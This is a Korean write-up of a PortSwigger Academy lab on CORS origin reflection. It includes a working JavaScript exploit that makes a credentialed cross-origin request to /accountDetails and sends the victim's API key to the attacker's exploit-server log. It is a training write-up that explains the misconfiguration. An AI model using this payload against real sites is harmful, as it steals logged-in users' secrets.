CORS 실습(1) - CORS vulnerability with basic origin reflection (PortSwigger Academy)
Origin 값을 그대로 반사하는 잘못된 CORS 설정을 이용해 victim의 accountDetails 응답에서 API key를 탈취하는 공격
Lab: CORS vulnerability with basic origin reflection
Lab Link: CORS vulnerability with basic origin reflection
핵심 포인트
주어진 정보
1
2
Attacker account: wiener:peter
Goal: administrator의 API key 탈취
이 lab은 모든 Origin을 신뢰하는 CORS 설정이 핵심이다.
공격 개요
정상적인 브라우저라면 다른 origin에서 보낸 JavaScript가
대상 사이트의 민감한 응답을 읽지 못해야 한다.
그런데 이 lab에서는 서버가 요청에 들어온 Origin 값을 그대로 신뢰해서
Access-Control-Allow-Origin 응답 헤더에 반영한다.
거기에 Access-Control-Allow-Credentials: true 까지 함께 사용하고 있기 때문에,
피해자가 로그인된 상태라면 공격자 사이트의 JavaScript가 피해자 세션 쿠키를 포함한 요청을 보내고
그 응답까지 읽을 수 있게 된다.
즉 공격 흐름은 아래처럼 정리할 수 있다.
Attack flow
1
2
3
4
5
6
7
victim이 script를 포함한 공격자 페이지 (Exploit server) 방문
→ JavaScript 실행
→ victim 브라우저가 /accountDetails 요청 전송
→ 세션 쿠키 포함
→ 서버가 Origin 허용
→ 응답 데이터 읽기 가능
→ API key를 exploit server 로그로 유출
Solution
1. accountDetails 요청 확인
먼저 wiener:peter 계정으로 로그인한다.
로그인한 뒤 My account 페이지를 열면 계정 정보와 함께 API key가 포함되어 있다.
2. Origin reflection 확인
My account 방문시 Burp history에서 확인할 수 있는 /accountDetails 요청을 Burp Repeater로 보낸다.
여기서 중요한 건 단순히 /accountDetails가 API Key와 session같은 민감 정보를 반환한다는 점만이 아니다.
응답 헤더를 보면 Access-Contol-Allow-Credential: true를 함께 확인할 수 있다.
이 헤더는 cross-origin 요청에서 쿠키를 포함한 인증 요청을 허용하겠다는 의미다.
이 시점에서 “CORS가 열려 있을 수도 있겠다”는 힌트를 얻을 수 있다.
그러면 요청에 아래 헤더를 추가해볼 수 있다.
1
Origin: https://random-website.com
응답을 확인해보면 서버가 Origin 값을 그대로 반영해서
Access-Control-Allow-Origin: random-website.com 을 응답에 포함하는걸 확인할 수 있다.
서버가 특정 origin만 엄격하게 허용하는 것이 아니라,
클라이언트가 보낸 Origin 값을 그대로 신뢰하고 있기 때문에 취약 하다고 볼 수있다.
결과적으로 공격자는 자기 도메인에서 요청을 보내도
브라우저가 해당 응답을 읽을 수 있게 된다.
3. 왜 이게 위험한가
여기서 한 번 흐름을 정리해보자.
공격자 사이트에서 JavaScript가 실행되면 브라우저는 대상 사이트로 요청을 보낼 수 있다.
원래라면 응답은 SOP 때문에 읽지 못해야 한다.
하지만 이 lab에서는 서버가
1
2
Access-Control-Allow-Origin: 공격자 origin
Access-Control-Allow-Credentials: true
를 응답해버린다.
그 결과 브라우저는
- 공격자 페이지에서 보낸 cross-origin 요청을 허용하고
- victim의 쿠키를 포함해 요청을 보내며
- 응답 데이터까지 JavaScript에 넘겨준다
즉 요청만 가능한 상태가 아니라
응답 읽기까지 가능한 상태가 된다.
CORS 취약점이 위험한 이유가 바로 이 부분이다.
4. exploit 코드 작성
이제 exploit server로 이동해서 아래 코드를 올린다.
1
2
3
4
5
6
7
8
9
10
11
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0aaf003e03e9e159803a03a00023000a.web-security-academy.net//accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
이 코드가 하는 일은 단계별로 보면 이렇다.
1. var req = new XMLHttpRequest();
브라우저에서 HTTP 요청을 보내기 위한 객체를 만든다.
2. req.onload = reqListener;
응답이 도착하면 reqListener() 함수를 실행하도록 등록한다.
3. req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
대상 사이트의 /accountDetails 로 GET 요청을 준비한다.
4. req.withCredentials = true;
이 줄이 중요하다.
cross-origin 요청에도 victim의 세션 쿠키를 포함해서 보내라는 의미다.
즉 victim이 로그인한 상태라면, 그 세션으로 /accountDetails가 호출된다.
5. req.send();
설정한 요청을 실제로 보낸다.
6. function reqListener() { location='/log?key='+this.responseText; }
응답이 돌아오면 그 응답 본문(this.responseText)을 exploit server의 /log 경로로 보낸다.
여기서 location='/log?...' 는 브라우저를 exploit server 내부의 /log URL로 이동시키는 코드다.
그러면 응답 데이터가 URL query string에 붙고, exploit server access log에 그대로 남는다.
요약하자면, /accountDetails 응답 읽기 → exploit server 로그로 유출 이라고 볼 수 있다.
5. victim에게 exploit 전달
이제 exploit server에서 Deliver exploit to victim 을 누른다.
그러면 victim, 즉 administrator가 이 페이지를 열게 된다.
administrator가 로그인된 상태에서 이 페이지를 열면
브라우저는 아래 과정을 그대로 수행한다.
1
2
3
4
administrator 세션 쿠키 포함
→ /accountDetails 요청
→ 응답에 administrator API key 포함
→ exploit server /log 로 유출
6. Access log에서 API key 확인
마지막으로 exploit server의 Access log를 열어보면
victim 브라우저가 남긴 요청이 보인다.
여기에서 key= 뒤에 붙은 값이나 응답 내용을 확인하면
administrator의 API key를 얻을 수 있다.
“GET /log?key=…qJKcJnEUWtkYdY049J3OY76IYaE2xD7N…”
이 값을 lab 제출창에 넣으면 해결된다.
왜 이 lab이 성립하는가
이 랩을 이해할 때 가장 중요한 건 세 가지 조건이 동시에 맞아떨어졌다는 점이다.
1. 민감한 정보가 /accountDetails 응답에 포함됨
API key 같은 데이터가 응답 본문에 존재한다.
2. 서버가 Origin을 그대로 신뢰함
공격자가 보낸 Origin 이 그대로 Access-Control-Allow-Origin 으로 반영된다.
3. credentials 사용이 허용됨
Access-Control-Allow-Credentials: true 때문에
victim 세션 쿠키가 포함된 요청이 가능하다.
이 셋이 합쳐지면 공격자는 피해자 브라우저를 이용해
민감한 응답 데이터를 읽어낼 수 있다.
정리
이 lab의 핵심은 Origin reflection + credentials 허용 조합이다.
서버가 요청의 Origin 값을 그대로 반사하고,
쿠키를 포함한 cross-origin 요청까지 허용했기 때문에
공격자 페이지의 JavaScript가 victim의 /accountDetails 응답을 읽을 수 있었다.
공격 흐름은 아래처럼 정리된다.
1
2
3
4
5
Origin reflection 확인
→ exploit script 작성
→ victim 브라우저에서 /accountDetails 요청
→ API key 응답 수신
→ exploit server 로그로 유출
결국 CORS는 단순히 “다른 도메인에서 요청 가능” 정도의 문제가 아니라,
응답을 읽을 수 있게 만드는 브라우저 정책이라는 점이 중요하다.
그래서 Origin 검증이 느슨하면
로그인된 사용자의 민감 정보가 그대로 외부 도메인으로 빠져나갈 수 있다.




